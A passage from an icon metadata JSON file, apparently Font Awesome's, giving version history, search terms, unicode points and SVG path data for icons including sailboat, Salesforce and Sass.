        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"
      }
    },
    "free": ["brands"]
  },
  "sailboat": {
    "changes": [
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["dinghy", "mast", "sailboat", "sailing", "yacht"]
    },
    "styles": ["solid"],
    "unicode": "e445",
    "label": "Sailboat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 16c0-7 4.5-13.2 11.2-15.3s13.9 .4 17.9 6.1l224 320c3.4 4.9 3.8 11.3 1.1 16.6s-8.2 8.6-14.2 8.6H272c-8.8 0-16-7.2-16-16V16zM212.1 96.5c7 1.9 11.9 8.2 11.9 15.5V336c0 8.8-7.2 16-16 16H80c-5.7 0-11-3-13.8-8s-2.9-11-.1-16l128-224c3.6-6.3 11-9.4 18-7.5zM5.7 404.3C2.8 394.1 10.5 384 21.1 384H554.9c10.6 0 18.3 10.1 15.4 20.3l-4 14.3C550.7 473.9 500.4 512 443 512H133C75.6 512 25.3 473.9 9.7 418.7l-4-14.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 16c0-7 4.5-13.2 11.2-15.3s13.9 .4 17.9 6.1l224 320c3.4 4.9 3.8 11.3 1.1 16.6s-8.2 8.6-14.2 8.6H272c-8.8 0-16-7.2-16-16V16zM212.1 96.5c7 1.9 11.9 8.2 11.9 15.5V336c0 8.8-7.2 16-16 16H80c-5.7 0-11-3-13.8-8s-2.9-11-.1-16l128-224c3.6-6.3 11-9.4 18-7.5zM5.7 404.3C2.8 394.1 10.5 384 21.1 384H554.9c10.6 0 18.3 10.1 15.4 20.3l-4 14.3C550.7 473.9 500.4 512 443 512H133C75.6 512 25.3 473.9 9.7 418.7l-4-14.3z"
      }
    },
    "free": ["solid"]
  },
  "salesforce": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83b",
    "label": "Salesforce",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"
      }
    },
    "free": ["brands"]
  },
  "sass": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41e",
    "label": "Sass",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 